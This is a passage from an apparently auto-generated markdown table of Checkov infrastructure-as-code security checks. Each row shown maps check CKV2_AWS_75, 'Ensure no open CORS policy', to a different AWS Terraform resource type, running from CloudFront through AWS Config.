[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2365 | CKV2_AWS_75     | resource | aws_cloudfront_origin_access_control                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2366 | CKV2_AWS_75     | resource | aws_cloudfront_origin_access_identity                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2367 | CKV2_AWS_75     | resource | aws_cloudfront_origin_request_policy                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2368 | CKV2_AWS_75     | resource | aws_cloudfront_public_key                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2369 | CKV2_AWS_75     | resource | aws_cloudfront_realtime_log_config                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2370 | CKV2_AWS_75     | resource | aws_cloudfront_response_headers_policy                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2371 | CKV2_AWS_75     | resource | aws_cloudfront_vpc_origin                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2372 | CKV2_AWS_75     | resource | aws_cloudfrontkeyvaluestore_key                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2373 | CKV2_AWS_75     | resource | aws_cloudhsm_v2_cluster                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2374 | CKV2_AWS_75     | resource | aws_cloudhsm_v2_hsm                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2375 | CKV2_AWS_75     | resource | aws_cloudsearch_domain                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2376 | CKV2_AWS_75     | resource | aws_cloudsearch_domain_service_access_policy                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2377 | CKV2_AWS_75     | resource | aws_cloudtrail                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2378 | CKV2_AWS_75     | resource | aws_cloudtrail_event_data_store                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2379 | CKV2_AWS_75     | resource | aws_cloudtrail_organization_delegated_admin_account              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2380 | CKV2_AWS_75     | resource | aws_cloudwatch_composite_alarm                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2381 | CKV2_AWS_75     | resource | aws_cloudwatch_dashboard                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2382 | CKV2_AWS_75     | resource | aws_cloudwatch_event_api_destination                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2383 | CKV2_AWS_75     | resource | aws_cloudwatch_event_archive                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2384 | CKV2_AWS_75     | resource | aws_cloudwatch_event_bus                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2385 | CKV2_AWS_75     | resource | aws_cloudwatch_event_bus_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2386 | CKV2_AWS_75     | resource | aws_cloudwatch_event_connection                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2387 | CKV2_AWS_75     | resource | aws_cloudwatch_event_endpoint                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2388 | CKV2_AWS_75     | resource | aws_cloudwatch_event_permission                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2389 | CKV2_AWS_75     | resource | aws_cloudwatch_event_rule                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2390 | CKV2_AWS_75     | resource | aws_cloudwatch_event_target                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2391 | CKV2_AWS_75     | resource | aws_cloudwatch_log_account_policy                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2392 | CKV2_AWS_75     | resource | aws_cloudwatch_log_anomaly_detector                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2393 | CKV2_AWS_75     | resource | aws_cloudwatch_log_data_protection_policy                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2394 | CKV2_AWS_75     | resource | aws_cloudwatch_log_delivery                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2395 | CKV2_AWS_75     | resource | aws_cloudwatch_log_delivery_destination                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2396 | CKV2_AWS_75     | resource | aws_cloudwatch_log_delivery_destination_policy                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2397 | CKV2_AWS_75     | resource | aws_cloudwatch_log_delivery_source                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2398 | CKV2_AWS_75     | resource | aws_cloudwatch_log_destination                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2399 | CKV2_AWS_75     | resource | aws_cloudwatch_log_destination_policy                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2400 | CKV2_AWS_75     | resource | aws_cloudwatch_log_group                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2401 | CKV2_AWS_75     | resource | aws_cloudwatch_log_index_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2402 | CKV2_AWS_75     | resource | aws_cloudwatch_log_metric_filter                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2403 | CKV2_AWS_75     | resource | aws_cloudwatch_log_resource_policy                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2404 | CKV2_AWS_75     | resource | aws_cloudwatch_log_stream                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2405 | CKV2_AWS_75     | resource | aws_cloudwatch_log_subscription_filter                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2406 | CKV2_AWS_75     | resource | aws_cloudwatch_metric_alarm                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2407 | CKV2_AWS_75     | resource | aws_cloudwatch_metric_stream                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2408 | CKV2_AWS_75     | resource | aws_cloudwatch_query_definition                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2409 | CKV2_AWS_75     | resource | aws_codeartifact_domain                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2410 | CKV2_AWS_75     | resource | aws_codeartifact_domain_permissions_policy                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2411 | CKV2_AWS_75     | resource | aws_codeartifact_repository                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2412 | CKV2_AWS_75     | resource | aws_codeartifact_repository_permissions_policy                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2413 | CKV2_AWS_75     | resource | aws_codebuild_fleet                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2414 | CKV2_AWS_75     | resource | aws_codebuild_project                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2415 | CKV2_AWS_75     | resource | aws_codebuild_report_group                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2416 | CKV2_AWS_75     | resource | aws_codebuild_resource_policy                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2417 | CKV2_AWS_75     | resource | aws_codebuild_source_credential                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2418 | CKV2_AWS_75     | resource | aws_codebuild_webhook                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2419 | CKV2_AWS_75     | resource | aws_codecatalyst_dev_environment                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2420 | CKV2_AWS_75     | resource | aws_codecatalyst_project                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2421 | CKV2_AWS_75     | resource | aws_codecatalyst_source_repository                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2422 | CKV2_AWS_75     | resource | aws_codecommit_approval_rule_template                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2423 | CKV2_AWS_75     | resource | aws_codecommit_approval_rule_template_association                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2424 | CKV2_AWS_75     | resource | aws_codecommit_repository                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2425 | CKV2_AWS_75     | resource | aws_codecommit_trigger                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2426 | CKV2_AWS_75     | resource | aws_codeconnections_connection                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2427 | CKV2_AWS_75     | resource | aws_codeconnections_host                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2428 | CKV2_AWS_75     | resource | aws_codedeploy_app                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2429 | CKV2_AWS_75     | resource | aws_codedeploy_deployment_config                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2430 | CKV2_AWS_75     | resource | aws_codedeploy_deployment_group                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2431 | CKV2_AWS_75     | resource | aws_codeguruprofiler_profiling_group                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2432 | CKV2_AWS_75     | resource | aws_codegurureviewer_repository_association                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2433 | CKV2_AWS_75     | resource | aws_codepipeline                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2434 | CKV2_AWS_75     | resource | aws_codepipeline_custom_action_type                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2435 | CKV2_AWS_75     | resource | aws_codepipeline_webhook                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2436 | CKV2_AWS_75     | resource | aws_codestarconnections_connection                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2437 | CKV2_AWS_75     | resource | aws_codestarconnections_host                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2438 | CKV2_AWS_75     | resource | aws_codestarnotifications_notification_rule                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2439 | CKV2_AWS_75     | resource | aws_cognito_identity_pool                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2440 | CKV2_AWS_75     | resource | aws_cognito_identity_pool_provider_principal_tag                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2441 | CKV2_AWS_75     | resource | aws_cognito_identity_pool_roles_attachment                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2442 | CKV2_AWS_75     | resource | aws_cognito_identity_provider                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2443 | CKV2_AWS_75     | resource | aws_cognito_managed_user_pool_client                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2444 | CKV2_AWS_75     | resource | aws_cognito_resource_server                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2445 | CKV2_AWS_75     | resource | aws_cognito_risk_configuration                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2446 | CKV2_AWS_75     | resource | aws_cognito_user                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2447 | CKV2_AWS_75     | resource | aws_cognito_user_group                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2448 | CKV2_AWS_75     | resource | aws_cognito_user_in_group                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2449 | CKV2_AWS_75     | resource | aws_cognito_user_pool                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2450 | CKV2_AWS_75     | resource | aws_cognito_user_pool_client                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2451 | CKV2_AWS_75     | resource | aws_cognito_user_pool_domain                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2452 | CKV2_AWS_75     | resource | aws_cognito_user_pool_ui_customization                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2453 | CKV2_AWS_75     | resource | aws_comprehend_document_classifier                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2454 | CKV2_AWS_75     | resource | aws_comprehend_entity_recognizer                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2455 | CKV2_AWS_75     | resource | aws_computeoptimizer_enrollment_status                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2456 | CKV2_AWS_75     | resource | aws_computeoptimizer_recommendation_preferences                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2457 | CKV2_AWS_75     | resource | aws_config_aggregate_authorization                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2458 | CKV2_AWS_75     | resource | aws_config_config_rule                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2459 | CKV2_AWS_75     | resource | aws_config_configuration_aggregator                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               